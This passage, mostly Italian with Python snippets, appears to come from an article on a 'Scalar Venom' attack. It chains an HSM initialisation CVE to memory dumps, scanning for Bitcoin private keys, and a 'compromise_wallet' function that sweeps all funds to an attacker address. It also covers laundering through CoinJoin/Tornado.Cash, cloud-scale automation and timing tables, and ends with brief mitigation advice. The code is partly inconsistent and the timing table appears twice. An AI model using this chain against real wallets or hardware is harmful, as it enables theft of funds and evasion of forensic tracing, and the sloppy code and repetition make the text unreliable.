for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
Fase 3: validazione delle chiavi private recuperate
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
Fase 4: trasferimento dei fondi
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
Fase 5: scomparsa delle tracce
I fondi recuperati vengono immediatamente mescolati tramite CoinJoin/Tornado.Cash per ostacolare l'analisi forense. keyhunters
Scalabilità: utilizzando il cloud computing (AWS, Google Cloud), è possibile elaborare in parallelo oltre 1000 memory dump , gestendo contemporaneamente migliaia di chiavi private .
[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
La certificazione FIPS 140-2 (e persino FIPS 140-3) non richiede:
Ciò significa che anche gli HSM «certificati FIPS» sono vulnerabili a Scalar Venom, a meno che gli sviluppatori non implementino ulteriori misure di sicurezza.[24]
L'attacco Scalar Venom rappresenta una minaccia critica per l'infrastruttura Bitcoin, soprattutto se combinato con vulnerabilità di inizializzazione HSM come CVE-2025-60013. Questo attacco:
La migrazione verso architetture con protezione hardware della memoria (Intel SGX, ARM TrustZone), granularità esplicita di tutti i buffer temporanei e pattern RAII nelle librerie crittografiche è fondamentale per garantire la sicurezza del sistema Bitcoin.
L'attacco Scalar Venom rappresenta una vulnerabilità critica per l'ecosistema Bitcoin globale, soprattutto se combinato con le vulnerabilità di inizializzazione HSM CVE-2025-60013. Questa catena d'attacco a più livelli mina fondamentalmente i modelli di fiducia crittografici ed espone i seguenti rischi esistenziali:
Consente la compromissione completa delle chiavi private tramite perdite di memoria, aggirando anche i moduli di sicurezza hardware avanzati e rendendo i sistemi interessati completamente indifesi.
La compromissione è permanente e irreversibile: una volta estratta una chiave privata, non può essere recuperata, mettendo tutti i fondi dipendenti a rischio imminente di perdita.
L'attacco è scalabile e può essere automatizzato per colpire simultaneamente un numero enorme di nodi e portafogli Bitcoin, con un aumento esponenziale delle potenziali perdite.
La sua natura furtiva garantisce che non ci siano tracce visibili nei log di sistema o nelle metriche delle prestazioni, rendendo insufficienti i tradizionali meccanismi di rilevamento e protezione.
Mitigare questa minaccia catastrofica richiede un'urgente migrazione verso architetture memory-safe, inclusa la protezione hardware della memoria (come Intel SGX o ARM TrustZone), l'azzeramento rigoroso di tutti i buffer temporanei durante tutte le operazioni crittografiche e una solida implementazione dei pattern RAII nelle librerie software critiche. Solo attraverso riforme architetturali così robuste si può realisticamente garantire l'integrità e la sicurezza a lungo termine dell'infrastruttura Bitcoin.
| Processo | Tempo | Attrezzatura |
|---|
| Acquisizione di un dump di memoria | 5-30 secondi | Dipende dal metodo |
| Scansione di un dump da 16GB | 2-5 minuti | MacBook Air (M1) |
| Validazione di 1000 chiavi candidate | 30 secondi | MacBook Air (M1) |
| Generazione dell'indirizzo | 10 secondi | MacBook Air (M1) |
| Trasferimento dei fondi (broadcast) | < 1 secondo | Internet |
| Totale per il compromesso completo | < 10 minuti | MacBook Air (M1) |
| Aspetto | Valutazione | Nota |
|---|
| CVE-2025-60013 (HSM init) | CVSS 5.7 (Medio) | Ufficialmente basso, ma funge da punto di ingresso |
| Attacco Scalar Venom | CVSS 8.5+ (Alto/Critico) | Impatto critico de facto |
| Attacco combinato | CVSS 9.5+ (Critico) | Compromissione completa delle chiavi private |
| Recupero dalla compromissione | Impossibile | Perdita irreversibile di fondi |
| Processo | Tempo | Attrezzatura |
|---|
| Ottenimento di un memory dump | 5-30 sec | Dipende dal metodo |
| Scansione di un dump da 16GB | 2-5 min | MacBook Air (M1) |
| Validazione di 1000 chiavi candidate | 30 sec | MacBook Air (M1) |
| Generazione dell'indirizzo | 10 sec | MacBook Air (M1) |
| Trasferimento dei fondi (broadcast) | < 1 sec | Internet |
| Totale per una compromissione completa | < 10 minuti | MacBook Air (M1) |